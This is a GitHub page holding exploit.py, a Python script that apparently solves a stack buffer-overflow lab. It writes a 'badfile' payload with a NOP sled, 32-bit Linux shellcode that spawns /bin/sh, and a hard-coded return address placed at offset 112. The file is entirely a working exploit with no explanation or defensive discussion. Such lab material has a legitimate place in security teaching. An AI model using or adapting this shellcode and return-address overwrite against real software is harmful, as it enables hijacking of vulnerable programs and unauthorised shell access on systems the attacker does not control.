-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
31 lines (26 loc) · 979 Bytes
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))
# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode
# Put the address at offset 112
ret = 0xbfffead8 + 120
content[112:116] = (ret).to_bytes(4,byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)